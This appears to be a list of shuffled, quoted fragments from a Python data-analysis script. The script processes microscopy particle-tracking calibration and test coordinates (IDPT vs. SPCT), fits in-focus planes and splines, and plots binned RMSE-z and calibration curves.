"dictc_fit_plane['popt_pixels'] if plot_calib_plane: fig = plotting.plot_fitted_plane_and_points(df=dfcpid, dict_fit_plane=dictc_fit_plane) plt.savefig(path_figs + '/calibration-coords_fit-plane_raw.png') plt.close() dfict_fit_plane =",
"= False save_plots = False show_plots = False if compare_idpt_spct: # --- 1.",
"already been merged path_calib_pid_defocus = join(path_calib_coords, 'calib_spct_pid_defocus_stats_calib2_xy.xlsx') dfcpid = pd.read_excel(path_calib_pid_defocus) # step 2.",
"Z_TRUE AND CM dftm = dftg.groupby('z_true').mean().reset_index() dfs_offm = dfs_off.groupby('z_true').mean().reset_index() dfs_onm = dfs_on.groupby('z_true').mean().reset_index() #",
"plt.subplots() size_x_inches, size_y_inches = fig.get_size_inches() plt.close(fig) # ---------------------------------------------------------------------------------------------------------------------- # 1. SETUP - BASE",
"use_idpt_zf = False use_spct_zf = False # ------------------------------------------------------------------------------------------------------------------ if use_idpt_zf: \"\"\" NOTE: This",
"# 1.3 plot binned rmse-z if save_plots or show_plots: ms = 4 #",
"3. GROUPBY Z_TRUE dftg = dft.copy() dftg = dftg.round({'z_true': 0}) dftc = dftg.groupby('z_true').count().reset_index()",
"1.3 groupby 'bin' rmse-z mean + std dfrmsem, dfrmsestd = bin.bin_generic(dft, column_to_bin='bin', column_to_count='id',",
"> zf_c_mean - zf_c_std) & (dfcpid[param_zf] < zf_c_mean + zf_c_std)] # step 3.",
"from os import listdir import matplotlib.pyplot as plt # imports import numpy as",
"rmse-z dfrmse_mean = bin.bin_local_rmse_z(dft, column_to_bin=column_to_bin, bins=1, min_cm=min_cm, z_range=None, round_to_decimal=round_z_to_decimal, df_ground_truth=None, dropna=True, error_column='error', )",
"corrected test_coords dft.to_excel(path_results + '/test_coords_corrected_t-calib2_c-calib1.xlsx', index=False) elif use_spct_zf: \"\"\" NOTE: No correction is",
"method, dfs=[dfcstats, dfcpid]) else: # read SPCT pid defocus stats that have already",
"'-', ms=ms-2, marker=markers[2], color=sciblue) axr.plot(df2.bin, df2.cm, '-', ms=ms-2, marker=markers[1], color=scired) axr.plot(df1.bin, df1.cm, '-',",
"'/compare-idpt-spct_num-particles.png') if show_plots: plt.show() plt.close() # --- # FIGURE 2. PLOT NUMBER OF",
"'/binned-rmse-z_bins={}_no-filters.xlsx'.format(bins_z)) # 1.3 groupby 'bin' rmse-z mean + std dfrmsem, dfrmsestd = bin.bin_generic(dft,",
"ms=ms-2, marker=markers[0], color=sciorange) axr.set_ylabel(r'$c_{m}$') ax.plot(df3.bin, df3.rmse_z, '-', ms=ms-0.75, marker=markers[2], color=sciblue, label=lbls[2]) ax.plot(df2.bin, df2.rmse_z,",
"mag_eff = 20.0 area_pixels = 512 ** 2 area_microns = (512 * microns_per_pixel)",
"into pid_defocus_stats dfcpid = pd.read_excel(path_test_pid_defocus) dfcstats = pd.read_excel(path_test_spct_stats) dfcpid = modify.merge_calib_pid_defocus_and_correction_coords(path_calib_coords, method, dfs=[dfcstats,",
"1.0 fig, [axr, ax] = plt.subplots(nrows=2, sharex=True, gridspec_kw={'height_ratios': [1, 2]}) axr.plot(df3.bin, df3.cm, '-',",
"fig, ax = plt.subplots() ax.plot(dfrmse.index, dfrmse.rmse_z, '-o') ax.set_xlabel(r'$z_{true} \\: (\\mu m)$') ax.set_xlim([-xylim, xylim])",
"filter calibration coords dfcpid = dfcpid[(dfcpid[param_zf] > 34) & (dfcpid[param_zf] < zf_c_mean +",
"lighten_color # A note on SciencePlots colors \"\"\" Blue: #0C5DA5 Green: #00B945 Red:",
"{}'.format(np.round(popt[0], 3))) ax.set_xlabel(r'$z_{true} \\: (\\mu m)$') ax.set_xlim([-xylim, xylim]) ax.set_xticks(ticks=xyticks, labels=xyticks) ax.set_ylabel(r'$z \\: (\\mu",
"ax.set_xlim([-xylim, xylim]) ax.set_xticks(ticks=xyticks, labels=xyticks) ax.set_ylabel(r'$z \\: (\\mu m)$') ax.set_ylim([-xylim, xylim]) ax.set_yticks(ticks=xyticks, labels=xyticks) ax.legend(loc='lower",
"NUMBER OF PARTICLES PER Z_TRUE fig, ax = plt.subplots() ax.plot(dftc.z_true, dftc.z, '-o', ms=ms,",
"microns_per_pixel=microns_per_pixel) popt_c = dictc_fit_plane['popt_pixels'] if plot_test_plane: fig = plotting.plot_fitted_plane_and_points(df=dfcpid, dict_fit_plane=dictc_fit_plane) plt.savefig(path_figs + '/test-coords_fit-plane_raw.png')",
"path_calib_spct_pop = join(path_spct_calib_coords, 'calib_spct_pop_defocus_stats_c-calib1_t-calib2.xlsx') # SPCT analysis of images used for IDPT test",
"= 0.8 # ----- 4.1 CORRECT TEST COORDS correct_test_coords = False if correct_test_coords:",
"dataframe fp = join(base_dir, 'average-particle-similarity/' 'average_similarity_SPCT_11.02.21-BPE_Pressure_Deflection_20X_c-calib1_t-calib2.xlsx') dfsim = pd.read_excel(fp) # plot fig, ax",
"'/test-coords_fit-plane_raw.png') plt.close() dfict_fit_plane = pd.DataFrame.from_dict(dictc_fit_plane, orient='index', columns=['value']) dfict_fit_plane.to_excel(path_figs + '/test-coords_fit-plane_raw.xlsx') # FIT SMOOTH",
"3 min_cm = 0.5 # 1.1 mean rmse-z dfrmse_mean = bin.bin_local_rmse_z(dft, column_to_bin=column_to_bin, bins=1,",
"error_column='error', ) dfrmse_mean.to_excel(path_results + '/mean-rmse-z_bin=1_no-filters.xlsx') # 1.2 binned rmse-z dfrmse = bin.bin_local_rmse_z(dft, column_to_bin=column_to_bin,",
"lbl, dft in zip(lbls, [df_on, df_edge, df_off]): # --- STEP 1. CALCULATE RMSE-Z",
"pd.DataFrame.from_dict(dictc_fit_plane, orient='index', columns=['value']) dfict_fit_plane.to_excel(path_figs + '/idpt-calib-coords_fit-plane_raw.xlsx') # step 4. FIT SMOOTH 2D SPLINE",
"join from os import listdir import matplotlib.pyplot as plt # imports import numpy",
"FIT SMOOTH 2D SPLINE AND PLOT RAW POINTS + FITTED SURFACE (NO CORRECTION)",
"'Off'] markers = ['s', 'd', 'o'] if rmse_all_particles: # --- STEP 1. CALCULATE",
"2, 2 # step 1. merge [['x', 'y']] into spct pid defocus stats.",
"have already been merged path_calib_pid_defocus = join(path_calib_coords, 'calib_spct_pid_defocus_stats_calib2_xy.xlsx') dfcpid = pd.read_excel(path_calib_pid_defocus) # step",
"False rmse_compare = False # format plots xylim = 37.25 xyticks = [-30,",
"= dftm[(dftm['z_true'] > -zlim) & (dftm['z_true'] < zlim)] dfs_offm = dfs_offm[(dfs_offm['z_true'] > -zlim)",
"sciorange = '#FF2C00' plt.style.use(['science', 'ieee', 'std-colors']) fig, ax = plt.subplots() size_x_inches, size_y_inches =",
"df_edge.z, s=ss, marker=markers[1], color=scired, label=lbls[1]) ax.set_xlabel(r'$z_{true} \\: (\\mu m)$') ax.set_xlim([-xylim, xylim]) ax.set_xticks(ticks=xyticks, labels=xyticks)",
"['s', 'd', 'o'] if rmse_all_particles: # --- STEP 1. CALCULATE RMSE-Z FOR ALL",
"VS. SPCT - COMPARE NUMBER OF PARTICLES PER Z compare_idpt_spct = False save_plots",
"IDPT calibration path_spct_calib_coords = join(base_dir, 'results-04.26.22_spct_calib1_test-2-3/coords/calib-coords') path_calib_pid_defocus = join(path_spct_calib_coords, 'calib_spct_pid_defocus_stats_c-calib1_t-calib2.xlsx') path_calib_spct_stats = join(path_spct_calib_coords,",
"correction scheme fits a 2D spline to the in-focus particle positions and uses",
"step 1. read calibration coords dfc, dfcpid, dfcpop, dfcstats = io.read_calib_coords(path_calib_coords, method) #",
"= [-30, -15, 0, 15, 30] lbls = ['On', 'Border', 'Off'] markers =",
"(dftc['z_true'] < zlim)] dfs_offc = dfs_offc[(dfs_offc['z_true'] > -zlim) & (dfs_offc['z_true'] < zlim)] dfs_onc",
"2 # step 1. merge [['x', 'y']] into spct pid defocus stats. if",
"plt.show() plt.close() # ----------------------- Z-MEAN +/- Z-STD PLOTS # fit line popt, pcov",
"fit.fit_3d_spline(x=dfcpid.x, y=dfcpid.y, z=dfcpid[param_zf], kx=kx, ky=ky) fig, ax = plotting.scatter_3d_and_spline(dfcpid.x, dfcpid.y, dfcpid[param_zf], bispl_c, cmap='RdBu',",
"labels=xyticks) ax.set_ylabel(r'$\\sigma_{z} \\: (\\mu m)$') plt.tight_layout() if save_plots: plt.savefig(path_figs + '/{}_rmse-z_microns.png'.format(lbl)) if show_plots:",
"bispl_c, cmap='RdBu', grid_resolution=30, view='multi') ax.set_xlabel('x (pixels)') ax.set_ylabel('y (pixels)') ax.set_zlabel(r'$z_{f} \\: (\\mu m)$') plt.suptitle('fit",
"ax.set_ylim([0.49, 1.01]) plt.tight_layout() if save_plots: plt.savefig(path_figs + '/average-particle-to-particle-similarity.png') plt.show() plt.close() j = 1",
"plt.subplots() ax.errorbar(dfrmsem.z_true, dfrmsem.z, yerr=dfrmsestd.z, fmt='o', ms=3, elinewidth=0.5, capsize=1, color=sciblue, label=r'$\\overline{z} \\pm \\sigma$') #",
"ax.plot(dfs_onc.z_true, dfs_onc.z, '-o', ms=ms, color=lighten_color(scigreen, 1.2), label=r'$SPCT_{High}$') ax.set_xlabel(r'$z \\: (\\mu m)$') ax.set_xlim([-xylim, xylim])",
"A note on SciencePlots colors \"\"\" Blue: #0C5DA5 Green: #00B945 Red: #FF9500 Orange:",
"3. fit plane dictc_fit_plane = correct.fit_in_focus_plane(df=dfcpid, param_zf=param_zf, microns_per_pixel=microns_per_pixel) popt_c = dictc_fit_plane['popt_pixels'] if plot_calib_plane:",
"PLOT RAW POINTS + FITTED SURFACE (NO CORRECTION) bispl_c, rmse_c = fit.fit_3d_spline(x=dfcpid.x, y=dfcpid.y,",
"--- STEP 1. PLOT CALIBRATION CURVE (Z VS. Z_TRUE) FOR EACH DATAFRAME (ON,",
"IDPT # read IDPT test coords dft = io.read_test_coords(path_test_coords) # test coords stats",
"--- STEP 2. FOR EACH DATAFRAME (ON, EDGE, OFF), COMPUTE RMSE-Z AND PLOT",
"ax.set_xlabel(r'$z_{true} \\: (\\mu m)$') ax.set_xlim([-xylim, xylim]) ax.set_xticks(ticks=xyticks, labels=xyticks) ax.set_ylabel(r'$z \\: (\\mu m)$') ax.set_ylim([-xylim,",
"dfbx[dfbx['bin'] == bins_x[1]] df_off = dfbx[dfbx['bin'] == bins_x[2]] # --- plotting # ---",
"if plot_calib_spline: fig, ax = plotting.scatter_3d_and_spline(dfcpid.x, dfcpid.y, dfcpid[param_zf], bispl_c, cmap='RdBu', grid_resolution=30, view='multi') ax.set_xlabel('x",
"20.0 area_pixels = 512 ** 2 area_microns = (512 * microns_per_pixel) ** 2",
"read SPCT calibration coords and merge ['x', 'y'] into pid_defocus_stats dfcpid = pd.read_excel(path_test_pid_defocus)",
"\"\"\" param_zf = 'zf_from_peak_int' plot_calib_plane = False plot_calib_spline = False kx, ky =",
"'/idpt-calib-coords_fit-plane_raw.xlsx') # step 4. FIT SMOOTH 2D SPLINE AND PLOT RAW POINTS +",
"ax.set_zlabel(r'$z_{f} \\: (\\mu m)$') plt.suptitle('fit RMSE = {}'.format(np.round(rmse_c, 3))) plt.savefig(path_figs + '/calibration-coords_fit-spline_kx{}_ky{}.png'.format(kx, ky))",
"-15, 0, 15, 30] lbls = ['On', 'Border', 'Off'] markers = ['s', 'd',",
"ax.set_ylabel(r'$z \\: (\\mu m)$') ax.set_ylim([-xylim, xylim]) ax.set_yticks(ticks=xyticks, labels=xyticks) ax.legend(loc='lower right', markerscale=2.5) plt.tight_layout() if",
"by using fitted spline to correct z dft = correct.correct_z_by_spline(dft, bispl=bispl_c, param_z='z') dft['z_true_corr']",
"merge_spct_stats = True param_zf = 'zf_from_peak_int' plot_calib_plane = True plot_test_plane = True kx,",
"'ieee', 'std-colors']) fig, ax = plt.subplots() size_x_inches, size_y_inches = fig.get_size_inches() plt.close(fig) # ----------------------------------------------------------------------------------------------------------------------",
"dft.to_excel(path_results + '/test_coords_corrected_t-calib2_c-calib1.xlsx', index=False) elif use_spct_zf: \"\"\" NOTE: No correction is currently performed.",
"= dft.drop(columns=['z', 'z_true']) dft = dft.rename(columns={'z_corr': 'z', 'z_true_corr': 'z_true'}) # --- 2. SPCT",
"correction is currently performed. The z-coords are well aligned enough in both calibration",
"color=scired) ax.plot(df1.bin, df1.rmse_z, '-o', ms=ms, label=lbls[0], color=sciorange) ax.set_xlabel(r'$z_{true} \\: (\\mu m)$') ax.set_xlim([-xylim, xylim])",
"pid_defocus_stats dfcpid = pd.read_excel(path_calib_pid_defocus) dfcstats = pd.read_excel(path_calib_spct_stats) dfcpid = modify.merge_calib_pid_defocus_and_correction_coords(path_calib_coords, method, dfs=[dfcstats, dfcpid])",
"fitted spline to correct z dft = correct.correct_z_by_spline(dft, bispl=bispl_c, param_z='z') dft['z_true_corr'] = dft['z_true']",
"'results-04.26.22_idpt') path_test_coords = join(path_idpt, 'coords/test-coords') path_calib_coords = join(path_idpt, 'coords/calib-coords') path_similarity = join(path_idpt, 'similarity')",
"6. drop unnecessary columns in dft dft = dft[['frame', 'id', 'z', 'z_true', 'x',",
"dfrmse_mean.to_excel(path_results + '/mean-rmse-z_bin=1_no-filters.xlsx') # 1.2 binned rmse-z dfrmse = bin.bin_local_rmse_z(dft, column_to_bin=column_to_bin, bins=bins_z, min_cm=min_cm,",
"3))) plt.savefig(path_figs + '/test-coords_fit-spline_kx{}_ky{}.png'.format(kx, ky)) plt.close() # ---------------------------------------------------------------------------------------------------------------------- # 4. PLOT TEST COORDS",
"[-30, -15, 0, 15, 30] ms = 3 # FIGURE 1. PLOT NUMBER",
"join(base_dir, 'results-04.28.22_spct-calib2_test3/coords/calib-coords') path_test_pid_defocus = join(path_spct_test_coords, 'calib_spct_pid_defocus_stats_c-calib2_t-calib3.xlsx') path_test_spct_stats = join(path_spct_test_coords, 'calib_spct_stats_c-calib2_t-calib3.xlsx') path_test_spct_pop = join(path_spct_test_coords,",
"#0343DF Azure: #069AF3 Dark Green: #054907 \"\"\" sciblue = '#0C5DA5' scigreen = '#00B945'",
"bins=bins_z, round_to_decimal=round_z_to_decimal, return_groupby=True) # 1.3 plot binned rmse-z if save_plots or show_plots: #",
"if plot_calib_plane: fig = plotting.plot_fitted_plane_and_points(df=dfcpid, dict_fit_plane=dictc_fit_plane) plt.savefig(path_figs + '/calibration-coords_fit-plane_raw.png') plt.close() dfict_fit_plane = pd.DataFrame.from_dict(dictc_fit_plane,",
"join(path_spct_test_coords, 'calib_spct_stats_c-calib2_t-calib3.xlsx') path_test_spct_pop = join(path_spct_test_coords, 'calib_spct_pop_defocus_stats_c-calib2_t-calib3.xlsx') # -------------------------------------------------------------------------------------------------------------- # --- PART A. READ",
"(by using the same beginning and ending tick mark on the fine adjustment",
"CORRECTION) bispl_c, rmse_c = fit.fit_3d_spline(x=dfcpid.x, y=dfcpid.y, z=dfcpid[param_zf], kx=kx, ky=ky) if plot_calib_spline: fig, ax",
"dropna=True, error_column='error', ) dfrmse_mean.to_excel(path_results + '/{}_mean-rmse-z_bin=1_no-filters.xlsx'.format(lbl)) # 1.2 binned rmse-z dfrmse = bin.bin_local_rmse_z(dft,",
"dfcstats = pd.read_excel(path_test_spct_stats) dfcpid = modify.merge_calib_pid_defocus_and_correction_coords(path_calib_coords, method, dfs=[dfcstats, dfcpid]) else: # read SPCT",
"False # format plots xylim = 37.25 xyticks = [-30, -15, 0, 15,",
"+ '/on-edge-off-bpe_calibration_curve.png') if show_plots: plt.show() plt.close() # --- STEP 2. FOR EACH DATAFRAME",
"1.3 plot binned rmse-z if save_plots or show_plots: ms = 4 # -----------------------",
"round_to_decimal=round_z_to_decimal, df_ground_truth=None, dropna=True, error_column='error', ) dfrmse.to_excel(path_results + '/binned-rmse-z_bins={}_no-filters.xlsx'.format(bins_z)) # 1.3 groupby 'bin' rmse-z",
"'idpt' microns_per_pixel = 0.8 # ----- 4.1 CORRECT TEST COORDS correct_test_coords = False",
"+ '/test_coords_corrected_t-calib2_c-calib1.xlsx', index=False) elif use_spct_zf: \"\"\" NOTE: No correction is currently performed. The",
"# --- plotting # --- STEP 1. PLOT CALIBRATION CURVE (Z VS. Z_TRUE)",
"curve_fit(functions.line, dfrmse.z_true, dfrmse.z) z_fit = np.linspace(dfrmse.z_true.min(), dfrmse.z_true.max()) rmse_fit_line = np.sqrt(np.sum((functions.line(dfrmse.z_true, *popt) - dfrmse.z)**2)",
"= dfs_on['z'] - z_f_mean dfs_on['z_true'] = dfs_on['z_true'] - z_f_mean # --- 3. GROUPBY",
"CALIBRATION (i.e. 'calib1') merge_spct_stats = True param_zf = 'zf_from_peak_int' plot_calib_plane = True plot_test_plane",
"io.read_calib_coords(path_calib_coords, method) # step 2. remove outliers # 2.1 get z_in-focus mean +",
"== bins_x[1]] df_off = dfbx[dfbx['bin'] == bins_x[2]] # --- plotting # --- STEP",
"+ zf_c_std)] # step 3. fit plane dictc_fit_plane = correct.fit_in_focus_plane(df=dfcpid, param_zf=param_zf, microns_per_pixel=microns_per_pixel) popt_c",
"OFF) ss = 1 fig, ax = plt.subplots() ax.scatter(df_off.z_true, df_off.z, s=ss, marker=markers[2], color=sciblue,",
"defocus stats that have already been merged path_calib_pid_defocus = join(path_calib_coords, 'calib_spct_pid_defocus_stats_calib2_xy.xlsx') dfcpid =",
"used for IDPT test path_spct_test_coords = join(base_dir, 'results-04.28.22_spct-calib2_test3/coords/calib-coords') path_test_pid_defocus = join(path_spct_test_coords, 'calib_spct_pid_defocus_stats_c-calib2_t-calib3.xlsx') path_test_spct_stats",
"figs plt.close('all') # ----------------------- BASIC RMSE-Z PLOTS # rmse-z: microns fig, ax =",
"= ['On', 'Border', 'Off'] markers = ['s', 'd', 'o'] if rmse_all_particles: # ---",
"m)$') plt.tight_layout() if save_plots: plt.savefig(path_figs + '/{}_rmse-z_microns.png'.format(lbl)) if show_plots: plt.show() plt.close() # -----------------------",
"that have already been merged path_calib_pid_defocus = join(path_calib_coords, 'calib_spct_pid_defocus_stats_calib1_xy.xlsx') dfcpid = pd.read_excel(path_calib_pid_defocus) #",
"borderaxespad=0.3) plt.tight_layout() if save_plots: plt.savefig(path_figs + '/calibration_curve_z+std-errobars_fit_line_a{}_b{}_slope-label-blk.png'.format( np.round(popt[0], 3), np.round(popt[1], 3)) ) if",
"3), np.round(popt[1], 3)) ) if show_plots: plt.show() plt.close() if rmse_on_off_bpe: # --- STEP",
"RMSE-Z PLOTS # rmse-z: microns fig, ax = plt.subplots() ax.plot(df3.bin, df3.rmse_z, '-o', ms=ms,",
"read calibration coords dfc, dfcpid, dfcpop, dfcstats = io.read_calib_coords(path_calib_coords, method) # step 2.",
"'/calibration-coords_fit-plane_raw.xlsx') # FIT SMOOTH 2D SPLINE AND PLOT RAW POINTS + FITTED SURFACE",
"method = 'idpt' microns_per_pixel = 0.8 # ----- 4.1 CORRECT TEST COORDS correct_test_coords",
"merge ['x', 'y'] into pid_defocus_stats dfcpid = pd.read_excel(path_test_pid_defocus) dfcstats = pd.read_excel(path_test_spct_stats) dfcpid =",
"(pixels)') ax.set_zlabel(r'$z_{f} \\: (\\mu m)$') plt.suptitle('fit RMSE = {}'.format(np.round(rmse_c, 3))) plt.savefig(path_figs + '/idpt-calib-coords_fit-spline_kx{}_ky{}.png'.format(kx,",
"pd.read_excel(join(path_rmse_compare, '{}_binned-rmse-z_bins=20_no-filters.xlsx'.format(lbls[2]))) # 1.3 plot binned rmse-z if save_plots or show_plots: ms =",
"fine adjustment knob during image acquisition). \"\"\" # -------------------------------------------------------------------------------------------------------------- # SETUP - SPCT",
"z_range=None, round_to_decimal=round_z_to_decimal, df_ground_truth=None, dropna=True, error_column='error', ) dfrmse.to_excel(path_results + '/binned-rmse-z_bins={}_no-filters.xlsx'.format(bins_z)) # 1.3 groupby 'bin'",
"m)$') plt.suptitle('fit RMSE = {}'.format(np.round(rmse_c, 3))) plt.savefig(path_figs + '/test-coords_fit-spline_kx{}_ky{}.png'.format(kx, ky)) plt.close() # ----------------------------------------------------------------------------------------------------------------------",
"'/{}_calibration_curve_z+std-errobars_fit_line_a{}_b{}_slope-label-blk.png'.format( lbl, np.round(popt[0], 3), np.round(popt[1], 3)) ) if show_plots: plt.show() plt.close() if rmse_compare:",
"3))) plt.savefig(path_figs + '/calibration-coords_fit-spline_kx{}_ky{}.png'.format(kx, ky)) plt.close() # --- # --- PART B. READ",
"ax.set_xlabel(r'$z_{true} \\: (\\mu m)$') ax.set_xlim([-xylim, xylim]) ax.set_xticks(ticks=xyticks, labels=xyticks) ax.set_ylabel(r'$\\sigma_{z} \\: (\\mu m)$') ax.legend()",
"A. READ COORDS USED FOR IDPT CALIBRATION (i.e. 'calib1') merge_spct_stats = True param_zf",
"df_ground_truth=None, dropna=True, error_column='error', ) dfrmse.to_excel(path_results + '/{}_binned-rmse-z_bins={}_no-filters.xlsx'.format(lbl, bins_z)) # 1.3 groupby 'bin' rmse-z",
"simplicity dft = dft.drop(columns=['z', 'z_true']) dft = dft.rename(columns={'z_corr': 'z', 'z_true_corr': 'z_true'}) # ---",
"coords dfc, dfcpid, dfcpop, dfcstats = io.read_calib_coords(path_calib_coords, method) # step 2. remove outliers",
"USED FOR IDPT TEST (i.e. 'calib2') # step 1. merge [['x', 'y']] into",
"param_zf=param_zf, microns_per_pixel=microns_per_pixel) popt_c = dictc_fit_plane['popt_pixels'] if plot_calib_plane: fig = plotting.plot_fitted_plane_and_points(df=dfcpid, dict_fit_plane=dictc_fit_plane) plt.savefig(path_figs +",
"(\\mu m)$') ax.legend() plt.tight_layout() if save_plots: plt.savefig(path_figs + '/compare-on-edge-off-bpe_rmse-z_microns.png') if show_plots: plt.show() plt.close()",
"df3.rmse_z, '-', ms=ms-0.75, marker=markers[2], color=sciblue, label=lbls[2]) ax.plot(df2.bin, df2.rmse_z, '-', ms=ms-0.75, marker=markers[1], color=scired, label=lbls[1])",
"show_plots: plt.show() plt.close() # --- # FIGURE 2. PLOT NUMBER OF PARTICLES PER",
"axr.set_ylim([0.790, 1.01]) axr.set_yticks([0.8, 0.9, 1.0]) ax.plot(dftc.z_true, dftc.z, '-o', ms=ms, color=sciblue, label=r'$IDPT$') ax.plot(dfs_offc.z_true, dfs_offc.z,",
"# step 4. FIT SMOOTH 2D SPLINE AND PLOT RAW POINTS + FITTED",
"-------------------------------------------------------------------------------------------------------------- # SETUP - SPCT CALIBRATION IN-FOCUS COORDS # SPCT analysis of images",
"-15, 0, 15, 30] ms = 3 # FIGURE 1. PLOT NUMBER OF",
"fit line fig, ax = plt.subplots() ax.errorbar(dfrmsem.z_true, dfrmsem.z, yerr=dfrmsestd.z, fmt='o', ms=3, elinewidth=0.5, capsize=1,",
"analysis of images used for IDPT test path_spct_test_coords = join(base_dir, 'results-04.28.22_spct-calib2_test3/coords/calib-coords') path_test_pid_defocus =",
"PER Z compare_idpt_spct = False save_plots = False show_plots = False if compare_idpt_spct:",
"from utils import fit, functions, bin, io, plotting, modify, plot_collections from utils.plotting import",
"dfs_offc[(dfs_offc['z_true'] > -zlim) & (dfs_offc['z_true'] < zlim)] dfs_onc = dfs_onc[(dfs_onc['z_true'] > -zlim) &",
"standard deviation zf_c_mean = dfcpid[param_zf].mean() zf_c_std = dfcpid[param_zf].std() # 2.2 filter calibration coords",
"np.linspace(dfrmse.z_true.min(), dfrmse.z_true.max()) rmse_fit_line = np.sqrt(np.sum((functions.line(dfrmse.z_true, *popt) - dfrmse.z)**2) / len(dfrmse.z)) print(rmse_fit_line) # binned",
"calibration coords dfcpid = dfcpid[(dfcpid[param_zf] > zf_c_mean - zf_c_std) & (dfcpid[param_zf] < zf_c_mean",
"len(dft) i_num_pids = len(dft.id.unique()) # --- # --- STEP 0. drop and rename",
"join(path_spct_calib_coords, 'calib_spct_stats_c-calib1_t-calib2.xlsx') path_calib_spct_pop = join(path_spct_calib_coords, 'calib_spct_pop_defocus_stats_c-calib1_t-calib2.xlsx') # SPCT analysis of images used for",
"import join from os import listdir import matplotlib.pyplot as plt # imports import",
"+ '/mean-rmse-z_bin=1_no-filters.xlsx') # 1.2 binned rmse-z dfrmse = bin.bin_local_rmse_z(dft, column_to_bin=column_to_bin, bins=bins_z, min_cm=min_cm, z_range=None,",
"> 34) & (dfcpid[param_zf] < zf_c_mean + zf_c_std / 2)] dfcpid = dfcpid[dfcpid['x']",
"= dfbx[dfbx['bin'] == bins_x[1]] df_off = dfbx[dfbx['bin'] == bins_x[2]] # --- plotting #",
"= pd.read_excel('/Users/mackenzie/Desktop/gdpyt-characterization/experiments/11.02.21-BPE_Pressure_Deflection_20X/analyses/results-04.26.22_spct_stack-id-on-bpe/testcalib2_calcalib1/test_coords_t_20X_ccalib1_tcalib2_c_20X_tcalib2_ccalib1_2022-04-26 20:45:34.334931.xlsx') # 2.2 correct z by mean z_f from peak_intensity z_f_mean",
"z_range=None, round_to_decimal=round_z_to_decimal, df_ground_truth=None, dropna=True, error_column='error', ) dfrmse_mean.to_excel(path_results + '/mean-rmse-z_bin=1_no-filters.xlsx') # 1.2 binned rmse-z",
"= 'x' bins_x = [145, 175, 205] round_x_to_decimal = 0 dfbx = bin.bin_by_list(dft,",
"2. PLOT NUMBER OF PARTICLES PER Z_TRUE AND CM dftm = dftg.groupby('z_true').mean().reset_index() dfs_offm",
"bins_z)) # 1.3 groupby 'bin' rmse-z mean + std dfrmsem, dfrmsestd = bin.bin_generic(dft,",
"coords and merge ['x', 'y'] into pid_defocus_stats dfcpid = pd.read_excel(path_calib_pid_defocus) dfcstats = pd.read_excel(path_calib_spct_stats)",
"round_to_decimal=round_z_to_decimal, return_groupby=True) # 1.3 plot binned rmse-z if save_plots or show_plots: # close",
"= pd.read_excel(join(path_rmse_compare, '{}_binned-rmse-z_bins=20_no-filters.xlsx'.format(lbls[0]))) df2 = pd.read_excel(join(path_rmse_compare, '{}_binned-rmse-z_bins=20_no-filters.xlsx'.format(lbls[1]))) df3 = pd.read_excel(join(path_rmse_compare, '{}_binned-rmse-z_bins=20_no-filters.xlsx'.format(lbls[2]))) # 1.3",
"dft['z_true_corr'] = dft['z_true'] - dft['z_cal_surf'] # step 8. export corrected test_coords dft.to_excel(path_results +",
"z-coords identical for all calibration image sets (by using the same beginning and",
"# read SPCT pid defocus stats that have already been merged path_calib_pid_defocus =",
"ky)) plt.close() # --- # --- PART B. READ COORDS USED FOR IDPT",
"IDPT CALIBRATION (i.e. 'calib1') merge_spct_stats = True param_zf = 'zf_from_peak_int' plot_calib_plane = True",
"bins_x[1]] df_off = dfbx[dfbx['bin'] == bins_x[2]] # --- plotting # --- STEP 1.",
"join(path_results, 'on-edge-off-bpe') df1 = pd.read_excel(join(path_rmse_compare, '{}_binned-rmse-z_bins=20_no-filters.xlsx'.format(lbls[0]))) df2 = pd.read_excel(join(path_rmse_compare, '{}_binned-rmse-z_bins=20_no-filters.xlsx'.format(lbls[1]))) df3 = pd.read_excel(join(path_rmse_compare,",
"'average-particle-similarity/' 'average_similarity_SPCT_11.02.21-BPE_Pressure_Deflection_20X_c-calib1_t-calib2.xlsx') dfsim = pd.read_excel(fp) # plot fig, ax = plt.subplots() ax.plot(dfsim.z_corr, dfsim.sim,",
"= join(path_spct_calib_coords, 'calib_spct_stats_c-calib1_t-calib2.xlsx') path_calib_spct_pop = join(path_spct_calib_coords, 'calib_spct_pop_defocus_stats_c-calib1_t-calib2.xlsx') # SPCT analysis of images used",
"'y', 'cm', 'error']] # step 7. create a z_corr column by using fitted",
"plt.savefig(path_figs + '/calibration_curve_z+std-errobars_fit_line_a{}_b{}_slope-label-blk.png'.format( np.round(popt[0], 3), np.round(popt[1], 3)) ) if show_plots: plt.show() plt.close() if",
"# FIGURE 1. PLOT NUMBER OF PARTICLES PER Z_TRUE fig, ax = plt.subplots()",
"dft[['frame', 'id', 'z', 'z_true', 'x', 'y', 'cm', 'error']] # step 7. create a",
"150]) ax.legend() plt.tight_layout() if save_plots: plt.savefig(path_figs + '/compare-idpt-spct_num-particles_and_cm.png') if show_plots: plt.show() plt.close() #",
"= '#00B945' scired = '#FF9500' sciorange = '#FF2C00' plt.style.use(['science', 'ieee', 'std-colors']) fig, ax",
"dfrmse.z) ** 2) / len(dfrmse.z)) print(rmse_fit_line) # binned calibration curve with std-z errorbars",
"dfs_on['z'] - z_f_mean dfs_on['z_true'] = dfs_on['z_true'] - z_f_mean # --- 3. GROUPBY Z_TRUE",
"dfcpid = modify.merge_calib_pid_defocus_and_correction_coords(path_calib_coords, method, dfs=[dfcstats, dfcpid]) else: # read SPCT pid defocus stats",
"SETUP - IDPT path_idpt = join(base_dir, 'results-04.26.22_idpt') path_test_coords = join(path_idpt, 'coords/test-coords') path_calib_coords =",
"& (dfs_offc['z_true'] < zlim)] dfs_onc = dfs_onc[(dfs_onc['z_true'] > -zlim) & (dfs_onc['z_true'] < zlim)]",
"= 'zf_from_peak_int' plot_calib_plane = True plot_test_plane = True kx, ky = 2, 2",
"'bin' rmse-z mean + std dfrmsem, dfrmsestd = bin.bin_generic(dft, column_to_bin='bin', column_to_count='id', bins=bins_z, round_to_decimal=round_z_to_decimal,",
"= plt.subplots() ax.plot(dfrmse.index, dfrmse.rmse_z, '-o') ax.set_xlabel(r'$z_{true} \\: (\\mu m)$') ax.set_xlim([-xylim, xylim]) ax.set_xticks(ticks=xyticks, labels=xyticks)",
"dftc = dftg.groupby('z_true').count().reset_index() dfs_offc = dfs_off.groupby('z_true').count().reset_index() dfs_onc = dfs_on.groupby('z_true').count().reset_index() # filter z_true for",
"dftg = dftg.round({'z_true': 0}) dftc = dftg.groupby('z_true').count().reset_index() dfs_offc = dfs_off.groupby('z_true').count().reset_index() dfs_onc = dfs_on.groupby('z_true').count().reset_index()",
